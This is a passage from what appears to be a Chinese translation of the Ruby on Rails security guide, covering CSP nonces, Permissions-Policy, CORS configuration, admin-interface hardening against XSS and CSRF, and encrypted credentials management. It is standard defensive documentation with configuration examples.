默认情况下,如果定义了随机数生成器,随机数将应用于 script-srcstyle-srcconfig.content_security_policy_nonce_directives 可用于更改哪些指令将使用随机数。

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

在初始化程序中配置随机数生成后,可以通过将 nonce: true 作为 html_options 的一部分传递,将自动随机数值添加到脚本标签中。

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

javascript_include_tagstylesheet_link_tag 也同样适用。

<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>

如果 config.content_security_policy_nonce_directives 中指定了相应的指令,要自动将随机数附加到 javascript_tagjavascript_include_tagstylesheet_link_tag,你可以将 config.content_security_policy_nonce_auto 设置为 true

Rails.application.config.content_security_policy_nonce_auto = true

在使用基于随机数的源表达式的内容安全策略时,这对于第三方视图特别有用。

注意缓存。由于随机数通常是按请求生成的,因此如果你的缓存策略不考虑动态随机数,启用此功能可能会导致缓存碎片化或内容陈旧。

使用 csp_meta_tag 帮助器创建带有会话随机数值的元标签“csp-nonce”,以允许内联 <script> 标签。

<head>
  <%= csp_meta_tag %>
</head>

这被 Rails UJS 帮助器用来创建动态加载的内联 <script> 元素。

9.4. Feature-Policy 头信息

Feature-Policy 头信息已更名为 Permissions-PolicyPermissions-Policy 需要不同的实现,并且尚未得到所有浏览器的支持。为了避免将来重命名此中间件,我们现在使用中间件的新名称,但保留旧的头信息名称和实现。

为了允许或阻止使用浏览器功能,你可以为你的应用程序定义一个 Feature-Policy 响应头信息。Rails 提供了一个 DSL,允许你配置该头信息。

在适当的初始化文件中定义策略

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end

可以按资源覆盖全局配置的策略

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

9.5. 跨域资源共享

浏览器限制从脚本发起的跨域 HTTP 请求。如果你想将 Rails 作为 API 运行,并在单独的域上运行前端应用程序,则需要启用 跨域资源共享 (CORS)。

你可以使用 Rack CORS 中间件来处理 CORS。如果你使用 --api 选项生成了应用程序,那么 Rack CORS 可能已经配置好,你可以跳过以下步骤。

首先,将 rack-cors gem 添加到你的 Gemfile 中

gem "rack-cors"

接下来,添加一个初始化程序来配置中间件

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, Rack::Cors do
  allow do
    origins "example.com"

    resource "*",
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end

10. 内网和管理安全

内网和管理界面是流行的攻击目标,因为它们允许特权访问。尽管这需要额外的安全措施,但现实世界中却恰恰相反。

2007 年,出现了第一个定制的木马程序,它窃取了内网信息,即 Monster.com 的“Monster for employers”网站,一个在线招聘网络应用程序。迄今为止,定制木马程序非常罕见,风险相当低,但这无疑是一种可能性,也是客户端主机安全重要性的一个例子。然而,内网和管理应用程序面临的最大威胁是 XSS 和 CSRF。

10.1. 跨站脚本攻击

如果你的应用程序重新显示来自外网的恶意用户输入,应用程序将容易受到 XSS 攻击。用户名、评论、垃圾邮件报告、订单地址只是几个不常见的例子,其中可能存在 XSS。

在管理界面或内网中,如果有一个地方的输入未经过滤,就会使整个应用程序变得脆弱。可能的攻击包括窃取特权管理员的 cookie、注入 iframe 以窃取管理员密码,或通过浏览器安全漏洞安装恶意软件以接管管理员的计算机。

有关 XSS 的对策,请参阅注入部分。

10.2. 跨站请求伪造

跨站请求伪造(CSRF),也称为跨站引用伪造(XSRF),是一种巨大的攻击方法,它允许攻击者做管理员或内网用户可以做的一切。正如你上面已经看到的 CSRF 是如何工作的,这里有一些攻击者可以在内网或管理界面中做的事情的例子。

一个真实的例子是通过 CSRF 重新配置路由器。攻击者向墨西哥用户发送了一封包含 CSRF 的恶意电子邮件。这封电子邮件声称有一张电子贺卡正在等待用户,但它还包含一个图像标签,导致 HTTP-GET 请求重新配置用户的路由器(这是墨西哥流行的型号)。该请求更改了 DNS 设置,因此对墨西哥银行网站的请求将被映射到攻击者的网站。通过该路由器访问银行网站的每个人都看到了攻击者的假网站,并且他们的凭据被窃取。

另一个例子是更改 Google Adsense 的电子邮件地址和密码。如果受害者登录了 Google Adsense(Google 广告系列的管理界面),攻击者就可以更改受害者的凭据。

另一种流行的攻击是向你的 Web 应用程序、博客或论坛发送垃圾邮件,以传播恶意 XSS。当然,攻击者必须知道 URL 结构,但大多数 Rails URL 都非常简单,或者如果它是开源应用程序的管理界面,它们很容易被发现。攻击者甚至可以通过包含尝试每种可能组合的恶意 IMG 标签进行 1,000 次幸运猜测。

有关管理界面和内网应用程序中 CSRF 的对策,请参阅 CSRF 部分中的对策

10.3. 额外预防措施

常见的管理界面是这样的:它位于 www.example.com/admin,只有在用户模型中设置了管理标志时才能访问,重新显示用户输入并允许管理员删除/添加/编辑任何所需数据。以下是一些关于此的思考:

  • 思考最坏情况非常重要:如果有人真的获得了你的 Cookie 或用户凭据怎么办?你可以为管理界面引入角色,以限制攻击者的可能性。或者为管理界面设置特殊的登录凭据,不同于应用程序公共部分使用的凭据。或者为非常严重的操作设置特殊密码

  • 管理员真的必须从世界各地访问界面吗?考虑将登录限制到一组源 IP 地址。检查 request.remote_ip 以找出用户的 IP 地址。这不是万无一失的,但一个很好的屏障。不过,请记住可能正在使用代理。

  • 将管理界面放到一个特殊的子域,例如 admin.application.com,并将其作为具有自己用户管理的独立应用程序。这使得从普通域 www.application.com 窃取管理员 Cookie 变得不可能。这是由于浏览器中的同源策略:www.application.com 上的注入 (XSS) 脚本可能无法读取 admin.application.com 的 Cookie,反之亦然。

11. 环境安全

本指南的范围不包括告知你如何保护你的应用程序代码和环境。但是,请务必保护你的数据库配置,例如 config/database.ymlcredentials.yml 的主密钥以及其他未加密的机密。你可能希望通过使用这些文件以及可能包含敏感信息的任何其他文件的特定于环境的版本来进一步限制访问。

11.1. 自定义凭据

Rails 将机密存储在 config/credentials.yml.enc 中,该文件经过加密,因此无法直接编辑。Rails 使用 config/master.key 或替代地查找环境变量 ENV["RAILS_MASTER_KEY"] 来加密凭据文件。由于凭据文件是加密的,因此只要主密钥安全保管,就可以将其存储在版本控制中。

默认情况下,凭据文件包含应用程序的 secret_key_base。它还可以用于存储其他机密,例如外部 API 的访问密钥。

要编辑凭据文件,请运行 bin/rails credentials:edit。此命令将在凭据文件不存在时创建它。此外,如果未定义主密钥,此命令将创建 config/master.key

凭据文件中保存的机密可以通过 Rails.application.credentials 访问。例如,对于以下已解密的 config/credentials.yml.enc

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key 返回 "SOMEKEY"Rails.application.credentials.system.access_key_id 返回 "1234AB"

如果你希望在某个键为空时引发异常,可以使用带感叹号的版本

# When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

使用 bin/rails credentials:help 了解有关凭据的更多信息。

请妥善保管你的主密钥。不要提交你的主密钥。

12. 依赖管理和 CVE

我们不会仅仅为了鼓励使用新版本而升级依赖项,包括为了安全问题。这是因为应用程序所有者需要手动更新其 gem,无论我们如何努力。使用 bundle update --conservative gem_name 可以安全地更新易受攻击的依赖项。

13. 额外资源

安全形势瞬息万变,保持更新非常重要,因为错过一个新漏洞可能会造成灾难性后果。你可以在此处找到有关 (Rails) 安全的其他资源:



回到顶部